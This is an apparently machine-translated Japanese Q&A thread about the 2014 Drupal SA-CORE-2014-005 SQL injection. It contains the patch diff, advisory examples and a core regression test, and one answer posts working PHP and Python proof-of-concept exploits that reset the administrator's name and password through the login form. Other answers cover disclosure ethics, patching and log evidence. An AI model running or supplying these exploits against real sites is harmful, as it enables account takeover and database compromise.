web-dev-qa-db-ja.com

SA-CORE-2014-005(Drupal 7.32)のパッチはどのような種類の攻撃を防ぎますか?

https://www.drupal.org/node/2357241httpsの技術詳細を読んでください: //www.drupal.org/SA-CORE-2014-005 だけでなく、単純な実際のパッチ:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

このエクスプロイトを利用してどのようなリクエストができるのでしょうか?

33

バグを発見した会社にはいくつかの例があります アドバイザリ01/2014:Drupal-pre Auth SQLインジェクションの脆弱性

エキス:

この関数は、キーのない配列で呼び出されることを前提としています。例:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

このSQLステートメントの結果

SELECT * from users where name IN (:name_0, :name_1)

パラメータname_0 = user1およびname_1 = user2

この問題は、配列に整数ではないキーがある場合に発生します。例:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

これにより、悪用可能なSQLクエリが発生します。

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

パラメータ付き:name_test = user2

DrupalはPDOを使用するため、マルチクエリが許可されています。このSQLインジェクションを使用して、データベースに任意のデータを挿入したり、既存のデータをダンプまたは変更したり、データベース全体を削除したりできます。

攻撃者はデータベースに任意のデータを挿入する可能性があるため、コールバックを使用してPHPコードからDrupal機能まで)を実行できます。

18
Hans Rossel

7.32で何が起こっているのかテストモジュールをチェックする。次のテストが7.32に追加されたことがわかります。

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

これにより、攻撃を仕掛ける方法についてさらに洞察が得られます。

Proof of Concept十分な時間が経過し、PoCが実際に出回っているため、.

Poc#1-PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc#2 Python- http://Pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
Host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "Host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % Host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

これは良い内訳をしているブログです: http://www.volexity.com/blog/?p=8

19
Digital fire

バグを発見した研究者には、概念実証があります。他の人も同様に概念実証を開発しました。ただし、広く悪用される可能性を減らすために意図的に投稿しているわけではありません。私たちはその研究と拘束を尊重し、ここに例を投稿するべきではありません。

しばらくしてサイトがアップグレードされた後、学術的観点から、概念実証攻撃コードを確認することは非常に興味深いものになります。それまでは、それは不必要なリスクであり、注意を引きます。

SektioinEins advisory のコードは、それを利用する方法の完全に開発された例ではありません。彼らは弱点を詳述していますが、実際に問題を悪用する方法を正確に特定していません。


この問題がリリースされてから数週間が経過し、SektionEinsが their blog にいくつかの概念実証を投稿しました。これらは、アクティビティの痕跡が非常に少ないため(例えば、menu_routerテーブルには何もない)、開発された他の多くの概念実証と比較して非常に興味深いものです。

16
greggles

この脆弱性はすべてのDrupal 7.31以下のサイトで機能し、どのモジュールがアクティブであるかは関係ありません。すべてのdrupalフォームが使用される可能性がありますこの脆弱性を悪用します。

エクスプロイトは非常に単純なので、PoCはすでに一般に公開されています。クリーンDrupalインストールで、自分のサーバーを攻撃し、匿名ユーザーとしてユーザーパスワードを変更することができましたが、可能性は無限です。

このバグはほぼ1年前に https://www.drupal.org/node/2146839 を介して知られていましたが、Drupal Core Security Teamの誰も応答しませんでした。

4
Pari

これがどのように悪用され、どのくらいの時間と労力がかかるのか疑問に思いました。したがって、私は古いホストをインストールすることにしましたDrupal 7バージョンを私のローカルホストにインストールし、このバグをリバースエンジニアリングします。私が発見したのは、HTML/SQLに関する基本的な知識を持つ人にあなたのフルアクセスを提供する衝撃的なバグです= Drupalサイト。

30分未満の試行で、匿名ユーザーを使用してDrupal 7にSQLインジェクションを実行できました!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

注:DrupalはSHA512をソルトと共に使用するため、実際にログインすることはできないため、これはまだログインできません。意図的にコードをここに配置していませんが、 Drupalの知識は、これを克服し、完全なアクセス権を与えるクエリを構築する方法を知っています!

これにより、Drupalの安全性とこのような問題の責任者は誰ですか?このバグは1年以上知られているようです( https://www.drupal.org/node/2146839 )、しかし誰もDrupal.orgに反応しませんでした。

4
tamerzg

これは、SQLインジェクションの脆弱性を修正したもので、悪意のあるSQLステートメントが実行のために入力フィールドに挿入され、データベースの内容が解放される可能性があります。この脆弱性は匿名ユーザーによって悪用される可能性があるため、この修正はできるだけ早く適用することが重要です。

すぐに更新できない場合、セキュリティチームは このパッチ を適用できます。これにより、完全なアップグレード 1 を実行できるまで同じ保護が提供されます。また、セキュリティチームはこの問題に関連するいくつかの [〜#〜] faq [〜#〜] を準備しています。サイトをメンテナンスモードにしても役に立たない更新を適用した後、キャッシュをクリアしてくださいまたは、7.32を使用していることを確認します。

また、サイトが侵害されていないかどうかを確認する必要があります。既に問題を報告しているサイトがいくつかあります。ここでは、確認方法を提案するブログ投稿を1つ紹介します Drupal 7.32に更新するだけでは不十分で、サイトがすでにハッキングされている可能性があります

私は10月15日に修正を適用し、私のサイトはこの脆弱性を悪用しようとする誰かをすでに報告しています

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
1
cayerdis